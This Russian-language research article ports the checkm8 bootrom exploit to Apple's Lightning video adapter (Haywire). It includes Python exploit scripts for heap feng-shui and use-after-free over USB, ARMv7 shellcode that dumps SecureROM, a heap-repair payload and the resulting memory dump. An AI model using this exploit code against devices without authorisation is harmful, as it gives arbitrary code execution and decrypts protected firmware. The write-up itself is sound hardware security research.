Появление эксплойта checkm8
можно назвать одним из важнейших событий прошедшего года для исследователей продукции Apple. Ранее мы уже опубликовали технический анализ этого эксплойта. Сейчас сообщество активно развивает джейлбрейк checkra1n на основе checkm8
, поддерживающий линейку устройств iPhone
от 5s
до X
и позволяющий установить на iOS
пакетный менеджер Cydia
и с его помощью устанавливать различные пакеты и твики.
checkm8
в значительной степени опирается на смещения различных функций в SecureROM
и данных в SRAM
. В связи с этим могут возникнуть вопросы: как изначально был извлечен SecureROM
конкретного устройства? Был ли он извлечен с помощью уязвимостей, лежащих в основе checkm8
, или каким-то другим образом?
Наверное, ответить на эти вопросы могут лишь сами исследователи, принимавшие участие в разработке checkm8
. Однако, в этой статье мы расскажем об одном из подходов к извлечению SecureROM
, основанном на уязвимостях, используемых в checkm8
, и требующем минимальных знаний о структуре памяти устройства. Описанный метод не является универсальным и будет работать только на устройствах без технологии безопасности W^X
. В качестве примера мы рассмотрим Lightning-видеоадаптер Apple (да, в этом адаптере есть свой SoC
с SecureROM
) и продемонстрируем не только извлечение SecureROM
, но и полную реализацию функциональности checkm8
для этого адаптера.
Введение
В конце 2012-го Apple выпустила два видеоадаптера для разъема Lightning:
- Цифровой AV-адаптер Lightning — адаптер HDMI, поддерживает вывод видео и звука;
- Адаптер Lightning/VGA — адаптер VGA, поддерживает только вывод видео.
Спустя некоторое время пользователи обнаружили, что внутри адаптеров есть полноценный SoC
с архитектурой ARM
— S5L8747
(далее это название будет использоваться, когда речь идет о SoC
исследуемого адаптера). Возможно, этим и объясняется их довольно высокая по сравнению с другими подобными устройствами стоимость. Согласно The iPhone Wiki, рассматриваемые видеоадаптеры имеют кодовое название Haywire
, а их прошивка загружается динамически при подключении к некоторому устройству (например, к iPhone) через Lightning.
В прошлом году в Twitter появился тред за авторством @nyan_satan (перевод на русский на Хабре), в котором была собрана и дополнена вся имеющаяся информация о видеоадаптерах Apple. В том числе и о том, как подключить адаптер к ПК по USB.
Версия SecureROM
у SoC
S5L8747
, который используется в устройствах Haywire
, — 1413.8
. Судя по версии, эти устройства почти наверняка уязвимы к checkm8
, но на момент исследования проект ipwndfu и его форки не поддерживали S5L8747
. Более того, в открытом доступе нам не удалось найти дамп SecureROM
для S5L8747
, из-за чего появился интерес к эксплуатации checkm8
на Haywire
.
Прежде всего, нам нужно было подключить устройство к ПК. В твитах @nyan_satan были информация о том, как это сделать, и схема подключения. С интерфейсными платами для Lightning и Micro-USB подключиться к Haywire
довольно просто, но оказалось, что достать их в короткие сроки (а нам хотелось закончить исследование в течение недели) трудно, поэтому мы решили воспользоваться подручными средствами: макетной платной, несколькими соединительными проводами, ненужным USB-кабелем, понижающим преобразователем на базе AMS1117
, разъемом Lightning (был снят с другого, безнадежно испорченного в ходе экспериментов, адаптера Haywire
), двухсторонним скотчем и синей изолентой. В результате мы получили следующее:
Несмотря на свою неприглядность, получившаяся конструкция вполне работоспособна. При подключении к ПК в выводе dmesg
мы получили заветную строку, и можно было приступать к более интересной части:
[ 167.757532] usb 1-2: new high-speed USB device number 11 using xhci_hcd
[ 167.888010] usb 1-2: New USB device found, idVendor=05ac, idProduct=1227
[ 167.888015] usb 1-2: New USB device strings: Mfr=2, Product=3, SerialNumber=4
[ 167.888017] usb 1-2: Product: Apple Mobile Device (DFU Mode)
[ 167.888020] usb 1-2: Manufacturer: Apple Inc.
[ 167.888022] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
Поиск необходимых констант
Чтобы лучше понять изложенное ниже, нужно иметь представление о том, как работает эксплойт checkm8
и какие уязвимости он использует. Все это описано на примере iPhone 7
в статье "Технический анализ эксплойта checkm8". Сопоставив различные SoC
и версии SecureROM
, мы пришли к выводу, что S5L8747
больше всего похож на SoC S5L8947
, используемый в Apple TV
третьего поколения, поэтому эксплуатация уязвимостей будет отличаться от эксплуатации в iPhone 7
. Рассмотрим наиболее важные различия между iPhone7
и Haywire
:
- В отличие от
iPhone 7
, где использовалась 64-битная архитектураarmv8
, вHaywire
— 32-битнаяarmv7
. Кроме того, вHaywire
на этапе исполненияSecureROM
также отсутствуют технологии, препятствующие исполнению записываемой памяти (отсутствуетWXN
— бит в регистреSCTLR
, препятствующий исполнению регионов памяти, доступных для записи; нет ограничений со стороныMMU
). В связи с этим нет необходимости вcallback-chain
—code-reuse
подходе, используемом дляiPhone 7
. Вместо этого управление будет передаваться напрямую на шеллкод вINSECURE_MEMORY
; - В
SecureROM
1704.10
и более ранних версий нет возможности контролировать утечки памяти, так как пакет нулевой длины (zero-length-packet) создается для каждого запроса в очереди. Поэтому наHaywire
будет использоваться другой подходheap feng-shui
: свободная область небольшого размера будет создаваться в конце кучи путем почти полного заполнения кучи с помощью утечек памяти. В остальном принцип не изменился: на очередной итерации работыDFU
часть выделений памяти попадет в небольшой свободный чанк в конец кучи, остальное будет выделено в начале с некоторым смещением относительно предыдущей итерации, за счет чего можно будет перезаписать конфигурационные дескрипторы и объект запроса.
Для удачной эксплуатации checkm8
на Haywire
необходимо определить основные параметры:
- Количество запросов для заполнения кучи;
- Необходимое смещение для переполнения объекта поля
callback
в объектеusb_device_io_request
.
Для поиска необходимых значений можно воспользоваться перебором, опираясь на реакцию исследуемого устройства, которую можно различить с ПК. В ходе экспериментов выяснилось, что можно ориентироваться на сообщения ядра (вывод команды dmesg -w
; исследование производилось на ПК под управлением ОС Ubuntu 16.04
): так можно определить момент перезагрузки устройства, а также переполнение конфигурационного дескриптора или исполнение бесконечного цикла на устройстве. Также полезными оказались исключения, возникающие при отправке запросов.
Итак, напишем на основе checkm8.py
скрипт для поиска нужных значений. В нем сделаем отправку USB
-запросов более информативной с помощью вывода исключений, и определим переменные, значения которых нужно найти:
large_leak
— необходимое количество запросов для удачногоheap feng-shui
;padding
— смещение отUaF
-указателя до первого объектаusb_device_io_request
на куче;overwrite
— значение, которым будет перезаписанusb_device_io_request
.
from checkm8 import *
# make usb_req_* functions more informative
def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
try:
device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
except usb.core.USBError as ex:
print ex # need for more information
def usb_req_stall(device): libusb1_no_error_ctrl_transfer(device, 0x2, 3, 0x0, 0x80, 0x0, 10)
def usb_req_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40, 1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41, 1)
if __name__ == '__main__':
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
# unknown values, need to brute
large_leak = 100
padding = 0x7c0
overwrite = ''
payload = ''
assert len(overwrite) + padding <= 0x800
# heap feng-shui
usb_req_stall(device)
for i in range(large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
usb_req_stall(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding + overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
При запуске можно заметить, что на этапе heap feng-shui
на определенном запросе исключение меняется с [Errno 110] Operation timed out
на [Errno 19] No such device (it may have been disconnected)
. Дело в том, что размер кучи в Haywire
значительно меньше, чем на устройствах iPhone
, и даже 100 объектов запроса не могут быть в ней размещены. Однако, это отличная возможность определить необходимое значение large_leak
. Так как исключение меняется на 45-ом запросе, будем перебирать, начиная с него.
На значении 43 в выводе dmesg -w
можно обнаружить предупреждения о неожиданном конфигурационном дескрипторе. Если посмотреть в Wireshark
на USB
-пакеты, можно убедиться, что запрашиваемый дескриптор оказался переполнен.
Таким образом, поиск необходимых констант почти закончен, и, экспериментируя со значением padding
и overwrite
, можно найти точное смещение первого дескриптора. При значении 43 — это 0x7a0, из-за чего значение usb_device_io_request
находится за пределами UaF
-буфера, и необходимо еще уменьшить large_leak
. В ходе дальнейших экспериментов были получены значения large_leak = 41
и смещения первого дескриптора 0x6e0
. Убедимся в правильности, перезаписав размер дескриптора с помощью overwrite = '\x09\x02\xff'
. В Wireshark
мы увидим следующий результат (вместо 25 ожидаемых байт было считано 255):
Полученные данные (значения дескрипторов и метаданные кучи) следует сохранить, они понадобятся в дальнейшем. Значение padding
для переполнения usb_device_io_request
вычисляется так: 0x6e0
(смещение до первого конфигурационного дескриптора) + 0x20
(размер области данных чанка с первым конфигурационным дескриптором) + 0x40
(размер целого чанка второго конфигурационного дескриптора) + 0x20
(размер метаданных чанка с usb_device_io_request
) = 0x760
.
Теперь можно передать управление по некоторому адресу. Предположительно, с помощью чтения за пределы конфигурационного дескриптора можно довольно точно определить нужные адреса. Но мы решили воспользоваться утекшими исходными кодами iBoot
, которые достаточно легко найти в публичном доступе: из них можно узнать, что адрес загрузки для SoC S5L8747
— 0x22000000
. Чтобы убедиться в этом, установим следующие значения искомых переменных и бесконечный цикл в качестве полезной нагрузки:
large_leak = 41
padding = 0x760
overwrite = struct.pack('<20xI', 0x22000000)
payload = '\xfe\xff\xff\xea' # armv7 inf-loop
При отправке USB
-запросов в полученном коде возникнут необычные задержки, а в логе dmesg
через некоторое время появятся следующие сообщения:
[ 3097.066887] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
[ 3097.384557] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3102.497002] usb 1-2: device descriptor read/64, error -110
[ 3117.714855] usb 1-2: device descriptor read/64, error -110
[ 3117.930756] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3123.043369] usb 1-2: device descriptor read/64, error -110
[ 3138.261119] usb 1-2: device descriptor read/64, error -110
[ 3138.477092] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3143.493674] xhci_hcd 0000:00:14.0: Timeout while waiting for setup device command
[ 3143.697698] usb 1-2: Device not responding to setup address.
[ 3143.901633] usb 1-2: device not accepting address 98, error -71
[ 3144.013617] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
Устройство перестало отвечать на USB
-запросы из-за исполнения бесконечного цикла. Таким образом, была получена возможность исполнять произвольный код в SecureROM
на Lightning-видеоадаптере Apple, и теперь можно приступить непосредственно к его извлечению.
Извлечение SecureROM Haywire
Для извлечения SecureROM
мы разработали шеллкод, который ищет строковые дескрипторы на куче и перезаписывает их данными из желаемого адреса. Для этого подойдет дескриптор названия продукта, в котором обычно содержится строка Apple Mobile Device (DFU Mode)
. Сами дескрипторы имеют следующую структуру: первый байт отведен под размер дескриптора, второй — его тип, а затем идет строка в кодировке UTF-16-LE
. Для оптимизации в шеллкоде можно также изменить и размер найденного дескриптора на 0xff
, чтобы за один раз извлекать 0xfd
байт (т.к. два байта используются для размера и типа дескриптора). При переполнении usb_device_io_request
также необходимо правильно переполнить метаданные кучи и значения дескрипторов (эти данные мы получили ранее за счет чтения за пределы конфигурационного дескриптора). Приведем код результата:
from checkm8 import *
from keystone import *
from hexdump import *
if __name__ == '__main__':
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
# unknown values, need to brute
large_leak = 41
padding = 0x6e0
conf_desc = '0902190001010580320904000000fe01'\
'00000721010a00000800000000000000'.decode('hex')
chunk_meta = '08000000020000000000000000000000'\
'00000000000000000000000000000000'.decode('hex')
overwrite = conf_desc + chunk_meta + conf_desc + chunk_meta +\
struct.pack('<20xI', 0x22000000)
assert len(overwrite) + padding <= 0x800
payload = '''
push {r1-r7,lr}
ldr r4, =0x2201c000
mov r5, r4
pattern_matching_loop:
sub r4, r4, #1
mov r0, #0
adr r1, ptrn
compare_loop:
add r2, r4, r0, lsl #1
cmp r2, r5
bge pattern_matching_loop
ldrb r3, [r1,r0]
ldrb r6, [r2]
cmp r3, r6
bne pattern_matching_loop
add r0, r0, #1
cmp r0, #30
beq found
b compare_loop
found:
mov r0, #0xff
strb r0, [r4, #-0x2]
mov r0, #0
mov r1, r4
ldr r2, =0x200 # target address
rewrite_loop:
ldrb r3, [r2,r0]
strb r3, [r1,r0]
add r0, r0, #1
cmp r0, #0xfd
ble rewrite_loop
pop {r1-r7,pc}
ptrn:
.asciz "Apple Mobile Device (DFU Mode)"
'''
ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
payload, _ = ks.asm(payload)
payload = ''.join(chr(i) for i in payload)
# heap feng-shui
usb_req_stall(device)
for i in range(large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
usb_req_stall(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, '\0' * padding + overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
print '(%0.2f seconds)' % (time.time() - start)
desc = device.ctrl_transfer(0x80, 6, 0x303, 0, 0xff, 50)
leak = ''.join(chr(i) for i in desc)[2:]
hexdump(leak)
dfu.release_device(device)
В качестве адреса для чтения был выбран 0x200
, так как по этому адресу должна быть строка с версией SecureROM
. При запуске получаем ожидаемое значение:
# python ./checkm8-leak.py
Found: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
(1.26 seconds)
00000000: 53 65 63 75 72 65 52 4F 4D 20 66 6F 72 20 73 35 SecureROM for s5
00000010: 6C 38 37 34 37 78 73 69 2C 20 43 6F 70 79 72 69 l8747xsi, Copyri
00000020: 67 68 74 20 32 30 31 31 2C 20 41 70 70 6C 65 20 ght 2011, Apple
00000030: 49 6E 63 2E 00 00 00 00 00 00 00 00 00 00 00 00 Inc.............
00000040: 52 45 4C 45 41 53 45 00 00 00 00 00 00 00 00 00 RELEASE.........
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 69 42 6F 6F 74 2D 31 34 31 33 2E 38 00 00 00 00 iBoot-1413.8....
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 .............
Используя данный подход, можно полностью сдампить весь SecureROM
. За счет того, что Haywire
всегда запускается в режиме DFU
, этот процесс можно полностью автоматизировать, и на весь дамп потребуется менее часа. После этого можно приступить к поиску необходимых смещений для портирования checkm8
на Haywire
.
Портирование checkm8 на Haywire
Для поиска необходимых функций и констант можно сравнивать SecureROM
устройств, для которых checkm8
уже реализован, и SecureROM
, извлеченный с Haywire
. Сам процесс поиска описывать не будем, результат можете посмотреть в репозитории. К сожалению, после того, как все значения были найдены, ничего не заработало, устройство не переходило в pwned-DFU
режим. Оказалось, что это вызвано двумя проблемами: отсутствие свободного пространства в куче и повреждение метаданных кучи. Первую проблему наверняка можно решить, подобрав другое, меньшее значение large_leak
, а вторую — перезаписывая конфигурационные дескрипторы и метаданные чанков валидными значениями. Вместо этого можно воспользоваться дополнительным шеллкодом для восстановления метаданных и освобождения кучи, и затем уже передать управление на полезную нагрузку checkm8
. В результате получился следующий шеллкод:
push {r1-r7,lr}
ldr r4, =0x2201b4e0 # leaked requests address
mov r5, #0
ldr r6, =0x361c # free function
add r6, r6, #1
# we need more free space, so clear leaked requests
loop:
add r0, r4, r5
blx r6
add r5, r5, #0x40
cmp r5, #0x780
bne loop
# restore original chunk meta-data
ldr r4, =0x2201b340 # second conf descriptor chunk header
ldr r0, =0x00000008 # original chunk header values
ldr r1, =0x00000002
str r0, [r4]
str r1, [r4, #4]
pop {r1-r7,lr}
ldr r0, =0x22000000
bx r0 # jump to checkm8 payload
Необходимые адреса на куче и нужные значения метаданных, используемые в шеллкоде, были получены с помощью метода чтения по произвольному адресу, описанному в предыдущей части статьи.
В результате был получен checkm8
с полностью рабочими примитивами: чтения и записи памяти, а также исполнения функций по произвольному адресу. Дополнив другие значения, используемые в ipwndfu
, удалось получить доступ к функции шифрования и дешифрования с помощью GID
-ключа и затем расшифровать вторую стадию загрузки Haywire
с помощью утилиты xpwntool:
Вывод
Описанный в статье метод извлечения SecureROM
не требует особых версий устройств со включенной отладкой, дорогостоящих отладочных кабелей или специализированного оборудования. Конечно, этот метод работает далеко не на всех устройствах, а лишь на тех, где возможно исполнение кода в секции данных. В случае Apple
, это устройства с 32-битной архитектурой armv7
. checkm8
уже поддерживает большинство таких устройств, но не Haywire
, именно поэтому мы и взяли его в качестве примера.
Ознакомиться с результатом можно в репозитории ipwndfu-haywire.
Теперь, имея возможность исполнять произвольный код в SecureROM
, наконец-то можно попробовать запустить DOOM
прямо на видеоадаптере Haywire
.
Надеемся, что статья была интересной и полезной. Хотя и описанный подход специфичен для устройств Apple
и уязвимостей из checkm8
, он и его отдельные части могут быть применены в контексте других устройств.